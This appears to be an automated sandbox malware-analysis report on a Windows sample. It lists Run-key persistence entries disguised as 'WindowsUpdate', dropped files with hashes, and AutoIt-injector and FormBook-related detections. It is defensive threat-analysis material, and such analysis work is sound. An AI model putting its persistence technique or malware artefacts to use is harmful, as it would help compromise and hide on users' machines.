                                                                                                              TimeTypeDescription
                                                                                                              09:54:15API Interceptor1x Sleep call for process: mJIvCBk5vF.exe modified
                                                                                                              09:55:00API Interceptor7786426x Sleep call for process: explorer.exe modified
                                                                                                              09:55:03API Interceptor6946563x Sleep call for process: raserver.exe modified
                                                                                                              15:54:21AutostartRun: HKLM\Software\Microsoft\Windows\CurrentVersion\Run WindowsUpdate C:\Users\user\llkd\GBKUSN~1.EXE C:\Users\user\llkd\hcmdvu.msc
                                                                                                              15:54:35AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run WindowsUpdate C:\Users\user\llkd\GBKUSN~1.EXE C:\Users\user\llkd\hcmdvu.msc
                                                                                                              15:54:43AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run WindowsUpdate C:\Users\user\llkd\GBKUSN~1.EXE C:\Users\user\llkd\hcmdvu.msc

                                                                                                              Joe Sandbox View / Context

                                                                                                              IPs

                                                                                                              ⊘No context

                                                                                                              Domains

                                                                                                              ⊘No context

                                                                                                              ASNs

                                                                                                              ⊘No context

                                                                                                              JA3 Fingerprints

                                                                                                              ⊘No context

                                                                                                              Dropped Files

                                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                              C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt1aG5DoOsAW.exeGet hashmaliciousFormBookBrowse
                                                                                                                Factura-2410-CFDI.batGet hashmaliciousUnknownBrowse
                                                                                                                  DGFmCcZnM0.exeGet hashmaliciousFormBookBrowse
                                                                                                                    qZkywW6Q0b.exeGet hashmaliciousFormBookBrowse
                                                                                                                      AlBXxWizEX.msiGet hashmaliciousDanaBotBrowse
                                                                                                                        mEudzoO1bG.exeGet hashmaliciousFormBookBrowse
                                                                                                                          HoGsuqrMLl.exeGet hashmaliciousFormBookBrowse
                                                                                                                            doc000000037294.exeGet hashmaliciousFormBookBrowse
                                                                                                                              doc000000037294.exeGet hashmaliciousFormBookBrowse
                                                                                                                                KKKK.htaGet hashmaliciousUnknownBrowse
                                                                                                                                  C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt.exe1aG5DoOsAW.exeGet hashmaliciousFormBookBrowse
                                                                                                                                    Factura-2410-CFDI.batGet hashmaliciousUnknownBrowse
                                                                                                                                      DGFmCcZnM0.exeGet hashmaliciousFormBookBrowse
                                                                                                                                        qZkywW6Q0b.exeGet hashmaliciousFormBookBrowse
                                                                                                                                          AlBXxWizEX.msiGet hashmaliciousDanaBotBrowse
                                                                                                                                            mEudzoO1bG.exeGet hashmaliciousFormBookBrowse
                                                                                                                                              HoGsuqrMLl.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                doc000000037294.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                  doc000000037294.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                    KKKK.htaGet hashmaliciousUnknownBrowse

                                                                                                                                                      Created / dropped Files

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\chkblaxft.docx

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):522
                                                                                                                                                      Entropy (8bit):5.671650593288021
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:qqDY0/6pPBPtkxub/dBjrN7VPU3wh7pbUmv:qqDY0iBjZVdLUgh7pJv
                                                                                                                                                      MD5:E51EF2D4160C0F41B42EA8F38DEDAA45
                                                                                                                                                      SHA1:ACA488C15E88AD25E089EB374B6C1EAD4C800E68
                                                                                                                                                      SHA-256:4B7EABB2302FEC9292A5AEB5949D54C0744C57DE6CC527FB285441D29FAE3C24
                                                                                                                                                      SHA-512:4BF85824B9F0447E175FEF3A731A514DF19470B45611DF683D6AAFB5844D1DD23512EF092480FF715978C4E27DF129CEA355493FA56D2407A24DC3B993B403E0
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:f2JTBjhw4uS76624x89F80qqQD4Iu2d1vc6OL22AMVQCB3719D3Q2hZ0j046ejDbV607R63xP3Q6o..ComboConstants TreeViewConstants..5qHjYp..FontConstants FontConstants..221n22MX26Wv5EDL3QsL0l0PwoSKK4t8YP6q128n16yZ3A5NP8xuNO037S8y5Df3g70v108u1x00i1EG0b422pH26Q75c07sFO14z3bNc9X30oYl6J39Y21Fl0gsZ24Cof65E59run230RJB948f9j9s9fu13..UpDownConstants DateTimeConstants..5K82aoSzbIcNiLbuVp4DE3i8TlMKJcDW66oj..DateTimeConstants ToolTipConstants..6N1S2Uw1pkO7511j0Vk8l70eDFr0iWA7sDdL503r64cAn74h03098R1cdH1jQllW8..GuiDateTimePicker GuiDateTimePicker..

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\cucii.ppt

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):562
                                                                                                                                                      Entropy (8bit):5.572614881484328
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:mt2kCjbjPTYFzjJ7OpQevS9gmTk+coE/Igtw9:VkSji/J7OVSaKkfoEAgA
                                                                                                                                                      MD5:0A597ABAA9895B8A6E2A1E01C1D2E207
                                                                                                                                                      SHA1:F37D888D098BE4D11E5C170FB8E1E7470D91290C
                                                                                                                                                      SHA-256:9D7B071AF5A275C98A994D56EE211E646C8AA2CBA39FB37FA20D78F73179552F
                                                                                                                                                      SHA-512:9686F6182A3946C9013EA0B0147CC0EAD5ECBE529645E6E70FAF5779ACB72F48849E9CAE7C2519FD497A169D9B7A7F2ACEF990A85401727C42CE4A6994703B2B
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:3l26ecOP7X2mT9D15YW7WxgcFmM3HL78iX8pkTJR1z791Flx127o8hl25K2e..TreeViewConstants UpDownConstants..493U1u35ozd1v783811pQ0766892D0cz613LD424n990qD008EY6P2j1DW8S7l35J031u6Isd282095UQ9D7C8sK4373GSV190r152nS2AR070hB3QTd9ym41PltY..StructureConstants ToolTipConstants..85P83170m9QM973S7S25T5RR615BV374v207i7H517617TXUUZr1SN6173EQa1T41p7be6bMR2fJS1A1I1tM60T598ac4lO1g5l105Jq575jOOc9f45L8bY2210I08721820ygvWY40Ms6fL10fH8h60tb8CdihwyAfNN94ygyV81842A..ComboConstants DateTimeConstants..FZ36j0x626LP7Z8P6O2m212X633thBcs93537zSPOq93oa0711B11..ButtonConstants ButtonConstants..

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\dddrmcvn.das

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):511
                                                                                                                                                      Entropy (8bit):5.650184738269891
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:/KV1akxmZ/Pkyc4oEWKA/qLJavL87l/NLIyPqv:/KPakxmB8ShAwAT8x/NLI1v
                                                                                                                                                      MD5:685B8082E059988E8F569A7C957D67CC
                                                                                                                                                      SHA1:6402355C5A4A7514A39FEE6EE37C46902A4EFC24
                                                                                                                                                      SHA-256:2B14A53107FEC583B8ECB5055D194A2C5997491CB91A7CDDF989DFD787FD577D
                                                                                                                                                      SHA-512:5692AC0F30DAC8F18C0C0D52578CDA99CE2F3C9656B5B2C6437DDA4E5C6C014E8F94F5584785C50847346BE963B737E3FCE0C727884955C01C9129EFF2154A44
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:5P7Fb3x2f0l2392Xp7f4mGu3eM7K9Lf892F3w43SD2614qBRt34677W628l7p86764B6ZS841e7F6j1LaQ8P96ts9g394I4ep4fe37yc4ps2zi5n35v0y8U71KD2z5291my5483YkfscIjwrxgzB99sW77RtY8bD5CYHS144TD7e..FileConstants ToolTipConstants..O0508omF09T2vX61H2BLn88Zrrb89W1vurxgN18vA5f65A7UgOP5O8d..BorderConstants UpDownConstants..0VBYY05SOaPuuhB1C5v5Dm58n0081Ut22R519M1g38R04K2S8GL975IR3fTOvH869xa690k603..UpDownConstants GuiDateTimePicker..R4L07P300OJ6GtESu59439nB6L0bR75Jv3995I4goPUQE35nu4F2G8trmpH88e1og..TreeViewConstants GuiDateTimePicker..

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\ebxc.exe

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):570
                                                                                                                                                      Entropy (8bit):5.527376881166851
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:ciWgr0N56HY9chv/u9E4IIIP2IGkadTIqPUD0:ohbaY9CvaEAs4XsD0
                                                                                                                                                      MD5:BB96FA2EB279E1FA70EE33B80DDF5486
                                                                                                                                                      SHA1:D4ECA17FD2B78BFB8264295E6F254255649CA3AF
                                                                                                                                                      SHA-256:BB828B95AA2BEF4D424AE1ECC976435AD053B06EC5E89AF75DE2763B0CCE523C
                                                                                                                                                      SHA-512:BD81985876A5CF9D4C579A2F0EA7738B28DF12C1F2A9C4C1A8C12ACE89B1A32BDF098987B807435F2CC950695015B7069B61360F55D9E3BA711359609A7E7B04
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:02urKYN9UhT01f54329Ln97G9xGi90927dw7712qO2lm4kjFE4U8e28186eL72243xNc4..ToolTipConstants ComboConstants..N2W879e9v2Bpx3j0eN859ak1kR5m4681r47285G76D4430H19Pmu022Z5UW272517GV6o6uWP7BI..ColorConstants ToolbarConstants..5mbS57430Tv0y61NaNE6pU2630540X21S4dW815v9323t7MRq17D0Q44DMFug3C8l6eHju06UkgaAe2CO2X9q0r662Zi756e009G9H4F780..FontConstants ButtonConstants..64732t1RdRT2y568ua2hhl34C64..TreeViewConstants ToolbarConstants..5686dwb61j91v650s1967u3iZh4B9pJ4EoHlt8HKZC58n5LlUcKj6A54z82C2Eb3XP0RYPZONKPN8jS4Ap7Qe25i79W2u0yo4188N36xnB0719z644..ToolTipConstants BorderConstants..

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\edfpst.jpg

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):543
                                                                                                                                                      Entropy (8bit):5.62778580378186
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:DGhjrHTB1zJ3FPSpSjYJzWKi7tawGaGVHR:CVrzXGc6zW37fGayR
                                                                                                                                                      MD5:F7490A6265F334876342496600DFCA5C
                                                                                                                                                      SHA1:E79E42617BA61C13293B3AD44D2FDCB547FD75F3
                                                                                                                                                      SHA-256:B61B5DBC2284545DF43D06B8434819B95BCC6AE4E5E22617F05A97E5AC2FEF17
                                                                                                                                                      SHA-512:B2EE0FD841A658DF4CCB2DB1D63A31AEEBF47BAA4A3FF6D8FD956AD76531E131B61A637B2BA49E1D161B6950C06E838B61BC19BF840832C68CC559649ACC9C06
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:6r2027t7efI71g9V4p8J100yE2432yb3px48N85C081ktumN5084446343Rf4s4I52c7dZ52446j23Uav8p2MboD76ffN5NYj5o60n46j6AdL9lr750fVRmcfwWr5XQ80vqGHcOckCF..TreeViewConstants DateTimeConstants..QIscBL650tCMY56c9i3Ry16kuEqDIbqec52pdcr70F9a666n5P38Yj14157841Qp3248NIQ486W07nfPH8X5fS6F84hy0K03y2QXdEMR2gJ6p2p78qEGhMQ79RU36pHEQ9b0406043kHr7xbvQktFqy1Qc6605cS3L6O3..ColorConstants DateTimeConstants..Gt83Ld4D8lYWy4cP9i885q8ld5C1G5th3yMO9k8VJD80Pl9u85A6Ki857345dfGZnp87BjUQ242G8482tU7lc5Ve21h2088J77IA628Y838M0214iC8z98Ke6RS03492z6..FileConstants ToolbarConstants..

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\fkawpxd.ppt

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):514
                                                                                                                                                      Entropy (8bit):5.606323152982731
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:ZP9RmAWNGLVn1XUiZ3RrBPX6szgOyTDR7w71m328ORc:hmAkGLUiZBr9J4Tt+g3gc
                                                                                                                                                      MD5:3D8DD208A1BC990063B574044319FF30
                                                                                                                                                      SHA1:8A028E38EECAAA27C448EC281BFC1A00045895B5
                                                                                                                                                      SHA-256:84D1770A96D4802E652390702F6022D144238548A7F0F6A80497975165CFE2C3
                                                                                                                                                      SHA-512:62E46B51FE8569D5C24A96F398AB826457F5ED2A98FA7AF27E012BBAD7A83C6D6A0D31338192D0276617C2C99314BB71AB13D995DB4118BA54C5909B706467CF
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:1sUXP3iZpTvofeRPu8Ii56..TreeViewConstants StructureConstants..09iG03rErs9tR866I0N44diC10igm6KcK1VKVw4LhDo65i0x9bR0h9B3Wh904W77i5808A7487ub660nqV573vRwb7e95R43iqM2E0Gjg36446y9S92y79359VwIRq1ZRkfvPw1mk04a0MMA2C6NRu40WyBbAe68A5Ta36Xy..StructureConstants TreeViewConstants..3C2GE74580ck95j8uf0YC8U9P18bhS0v6mDgrE3CU6BTEGU563f3Uqh8f8GNQgDb2IK8J3942N4..FileConstants StructureConstants..8pmq3E50E3F92hD..ColorConstants GuiDateTimePicker..S6a066RNAg0xB82dC6W9BMlbK0x3T9W8541U5cfJ35L..ToolbarConstants StructureConstants..

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\fuvdg.msc

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):529
                                                                                                                                                      Entropy (8bit):5.623624807839007
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:zV/+KJh4xlwckRf32X8sLPuEEqkOzhGOZfaJg/M2:zV/+kiuzfg8gNtR
                                                                                                                                                      MD5:2DDF35F6EFA65E7B1E286E3839980288
                                                                                                                                                      SHA1:DCBCFD1ED8D5A63E07B89BDF65EC39AF1373C4F8
                                                                                                                                                      SHA-256:8DA7643F1455AED90195609E344014ADA2F338C6F7E59C68FAEF3A7714F84B3B
                                                                                                                                                      SHA-512:980BB720A6326D2F60E7E3E70EF65B3131B1166383CBC42B57D5474D03F884AB271DA8847F2679D640931813CF27C88800B9A1F780A6F6912E9CD98DC948E887
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:xMXJiw4HCa9E2ZGkRh52a4s1236j36741L0..StructureConstants UpDownConstants..887A366iUxJ6m8i24tNkH377453G1fmTw302o1Z1Ud18Z7J4AY59lb55PZ9QHwDj2zUJB5t8666b3492s91426d9067y28o57U52455ip1M03..DateTimeConstants BorderConstants..ET3y97E19QT1G43n7Y0h5rGSKt90p8W093126w7zV6AU4L0dSB6uGRL2JZ9a08eCyw55zd5w..FileConstants ButtonConstants..3O93Xl2TM0byv9Tbyr434K72xc2eCH9E1o53Y4J4hd9N1918sdsRD6qSKyTyqlE3517vhyZBY98X2YuEDRg758B3IBQBU595929Rj56RY8i4Qen531g1REZC85Xj29o0Abq7bsN3932H3a5a8q247R5921QHDQY1qg047Mj1..GuiDateTimePicker BorderConstants..

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):947288
                                                                                                                                                      Entropy (8bit):6.629681466265794
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
                                                                                                                                                      MD5:0ADB9B817F1DF7807576C2D7068DD931
                                                                                                                                                      SHA1:4A1B94A9A5113106F40CD8EA724703734D15F118
                                                                                                                                                      SHA-256:98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
                                                                                                                                                      SHA-512:883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
                                                                                                                                                      Malicious:true
                                                                                                                                                      Antivirus:
                                                                                                                                                      • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                      Joe Sandbox View:
                                                                                                                                                      • Filename: 1aG5DoOsAW.exe, Detection: malicious, Browse
                                                                                                                                                      • Filename: Factura-2410-CFDI.bat, Detection: malicious, Browse
                                                                                                                                                      • Filename: DGFmCcZnM0.exe, Detection: malicious, Browse
                                                                                                                                                      • Filename: qZkywW6Q0b.exe, Detection: malicious, Browse
                                                                                                                                                      • Filename: AlBXxWizEX.msi, Detection: malicious, Browse
                                                                                                                                                      • Filename: mEudzoO1bG.exe, Detection: malicious, Browse
                                                                                                                                                      • Filename: HoGsuqrMLl.exe, Detection: malicious, Browse
                                                                                                                                                      • Filename: doc000000037294.exe, Detection: malicious, Browse
                                                                                                                                                      • Filename: doc000000037294.exe, Detection: malicious, Browse
                                                                                                                                                      • Filename: KKKK.hta, Detection: malicious, Browse
                                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................|....P..P............N..X&...0..Pv...........................C..........@............................................text...|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt.exe

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):947288
                                                                                                                                                      Entropy (8bit):6.629681466265794
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
                                                                                                                                                      MD5:0ADB9B817F1DF7807576C2D7068DD931
                                                                                                                                                      SHA1:4A1B94A9A5113106F40CD8EA724703734D15F118
                                                                                                                                                      SHA-256:98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
                                                                                                                                                      SHA-512:883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
                                                                                                                                                      Malicious:true
                                                                                                                                                      Antivirus:
                                                                                                                                                      • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                      Joe Sandbox View:
                                                                                                                                                      • Filename: 1aG5DoOsAW.exe, Detection: malicious, Browse
                                                                                                                                                      • Filename: Factura-2410-CFDI.bat, Detection: malicious, Browse
                                                                                                                                                      • Filename: DGFmCcZnM0.exe, Detection: malicious, Browse
                                                                                                                                                      • Filename: qZkywW6Q0b.exe, Detection: malicious, Browse
                                                                                                                                                      • Filename: AlBXxWizEX.msi, Detection: malicious, Browse
                                                                                                                                                      • Filename: mEudzoO1bG.exe, Detection: malicious, Browse
                                                                                                                                                      • Filename: HoGsuqrMLl.exe, Detection: malicious, Browse
                                                                                                                                                      • Filename: doc000000037294.exe, Detection: malicious, Browse
                                                                                                                                                      • Filename: doc000000037294.exe, Detection: malicious, Browse
                                                                                                                                                      • Filename: KKKK.hta, Detection: malicious, Browse
                                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................|....P..P............N..X&...0..Pv...........................C..........@............................................text...|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\gkgmtswhmc.jpg

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):513
                                                                                                                                                      Entropy (8bit):5.45384254054136
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:dBDRFUhevRsv0D2bfIi9uTobUB4vwwfrRWL7irh9MBh1J:rtFceajIio4VwwUL7iF9uh1J
                                                                                                                                                      MD5:45D2330198499EBFD1B73E984826FE5E
                                                                                                                                                      SHA1:6178824C68FB54D2E79AA6914B517530628B8220
                                                                                                                                                      SHA-256:7407261CE6F3F09FFB85B70A630D7D951E2BD88F709B7F504F2DBEF21BD3DD6C
                                                                                                                                                      SHA-512:86056988F1EEE5339620C8906AAA4914718D3B8CEB6C69AE65401358DFAB1FF66CDA12DE286770FE675104358D31B200A4D60B24F8C224ADA2AC0A4640FB359F
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:22Wh08Z99A89z7RP5655OJ5a49a87lo5uZgbx79r6ox6R..FileConstants StructureConstants..mMGuZJBWbu100naOy2k47rU9jjv9JzZvW168W3..BorderConstants FontConstants..26oG5ni92c2vj6w10R2K45Bul81ossIL481QL60uL9708dl6y566M8uBWXt4G43yt6HGtl5PT0V326ZO675deT877W3a5..GuiDateTimePicker ButtonConstants..3K9f0nZQ301778l9..StructureConstants UpDownConstants..1a9eE0BT07Lvr10dp60rtFi004d91D8ssQRPD907hqy9D643914B..FontConstants FontConstants..l7q53Oz68N7529k2NPC2J6b033u4z3Nu7833LVjL0830j6C3I929A2735YE835L..FontConstants FontConstants..

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\havvtivnup.bmp

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):540
                                                                                                                                                      Entropy (8bit):5.569990017502002
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:QaOS/lUkyNou/5dWTBAHFkCfOFQWQeUf87R:9D/lUkKoa5UeHGCfOyLU7R
                                                                                                                                                      MD5:5A33ACB108A1C219ED1194D8381CD40A
                                                                                                                                                      SHA1:D55846B97A021BBE4DCF490085A0824AD2C38961
                                                                                                                                                      SHA-256:F26513A135FA2E295C130A54290838E954B668D5AA013887F12B09CA0A735E93
                                                                                                                                                      SHA-512:A18FD243B2463FF6EA3CB61C7347CFA3C66F757647E9185A8A65114DE11DEF9BD0CA40D8BC08DA3ED0F45F913B948A7E377367D1D93739BEB2D593E5496229C5
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:56nC155FFb6F8374mR51u27IKU4YdxY6G3Q1xhNF7I21242xR37V1Saf5Aw949k430pTLI271Q022E644l5THb1S16E3B1qq363S8H9Dm4WNzw26Y52HPz3409F9u53L54902j2e8r84vX1IFWx4X94ji45f..ButtonConstants ToolbarConstants..31600G34N08Um9Ylsg06Ry08u7g7f605U0UB6Ex3fgT7xFl3T0vvv2x979867JoA6kilGpFQFj5969gb3K38QKBW3A441..FontConstants ToolTipConstants..js1k70nQ7RF3cG2H6Y412wNBJ5d33oXA9Ah30Rlz4S3Y6LClyJP49q4f50Y7enN133h7xl4f0pc277sK5314402m3nn9Rm0XwXOhJ7L6RPD7Mi3rG485810RRo1423s810T02Bv39On8E5s663949JGB119RkeNh0j750U2383zanS0b6m1sg22k..ToolbarConstants ToolbarConstants..

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\hcmdvu.msc

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:data
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):91254962
                                                                                                                                                      Entropy (8bit):7.035432791605254
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:24576:wEoE/EDE1ExEzE4E7E2EwErELEJErEqEsEQE3EZEWEdEHEuECEUEAE3EYE5EKEIA:1r
                                                                                                                                                      MD5:46E1E90CFE4DAD9EF77EE251DD0CE36B
                                                                                                                                                      SHA1:3569F17BAD104D96E7549CF37595CAC4E2C41EDD
                                                                                                                                                      SHA-256:4E4565C6F96B87C4C2B04A086CE832C00D6894F36C0074FC86308DFCC942F3B8
                                                                                                                                                      SHA-512:0CFB6481B513AB1BA89D3D370D1931DD64DD363A69F46633815E1945E4994984CCA13439FF99BB0947960A1DEB855AC33E5E9A617BBCAFF78245CFE6FB8F1791
                                                                                                                                                      Malicious:true
                                                                                                                                                      Yara Hits:
                                                                                                                                                      • Rule: JoeSecurity_AutoitInjector, Description: Yara detected Autoit Injector, Source: C:\Users\user\AppData\Local\Temp\RarSFX0\hcmdvu.msc, Author: Joe Security
                                                                                                                                                      Preview:..;.TxlS.8...p...l....S..y..M.T.FO.y.}I.......X.G.j..ge..b.Q.i\.C..l..fR.o|d....w.GXCdhQ......#.c.s.6.x..T..8..W..r..&/..C.A5..9.<...u.....~.f.&.d.c../f=..2`..3.9.z..{mq.......%.....l.K....!}........g.......{C2.. ~..B[n.P).Q6.|.m.S....Hl...@(...b..M..:....Q.;.i.i..$>..&....6.8.x.V.g.8.k.7.h.B.c.4.7.1.6.....`.....h(8..oJ...\.M....~.s.k.W`..O$.*.1.T....H.7.1.0.V.5.X.9.m.8.g.3.....3.9.5.2.b.3.u.b.I.1.....U.G.4.e.1.J.e.s.....3.j.2.2.3.L.z.8.g.5.N.W.v.T.7.8.a.y.V.2.2.d.3.2.0.H.t.Y.z.6.m.O.6.K.7.v.....9.Q.0.5.5.W..............?...zX!.u...0...V....6v...4..l?..lq....iV;'v|%nv.V.Z.......g...0....:.~ZB....q..7..$..c>....?.'....:^..N...}]l....i^...Pv}.u..b.......]....K....RO.~..U.........5L.t...y.....4.s.8.D.R.O.A.7.0.f.6.6.L.L.....S..1.D.,.E....t.Q..cR....+u.kpq9..V.YVC.P..*N/ABQ.T&.)...Q=..g...5.....L..N....7hV$.k9...8r..Q.C..)cH.!...{.Z..a.@*.$..Q....a~>...'...'..H...b..=.j........J....-..z..R$.....#....:..37d.....n...)7..=..g.......=F...+...f.r...J...eB

                                                                                                                                                      C:\Users\user\AppData\Local\Temp\RarSFX0\ijqn.mgf

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\Desktop\mJIvCBk5vF.exe
                                                                                                                                                      File Type:ASCII text, with very long lines (65536), with no line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):360301
                                                                                                                                                      Entropy (8bit):4.03500126803888
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:6144:ODNuvLVuBeU1elwm4CaOYIIFdGuOqmM3iRVb1:2QT+RdiqW9
                                                                                                                                                      MD5:FAE6EE35C0F5AC2DC4885C0DE8E88032
                                                                                                                                                      SHA1:587BF6F4105D4420762C463BA33E9E3BA677E85F
                                                                                                                                                      SHA-256:4DB090B6F1CD2501C929B31C2E29D4D0A4DDF1E81BE6800E763D8C45BEA8744D
                                                                                                                                                      SHA-512:1CE62D900017DD4545023ACC3CA32DAEE7EB454A6144C99958D57E88838402013854F410B8BE1FB5D607819C48BA72FEFECC11D2C78A81408855BF3899E04B38
                                                                                                                                                      Malicious:false
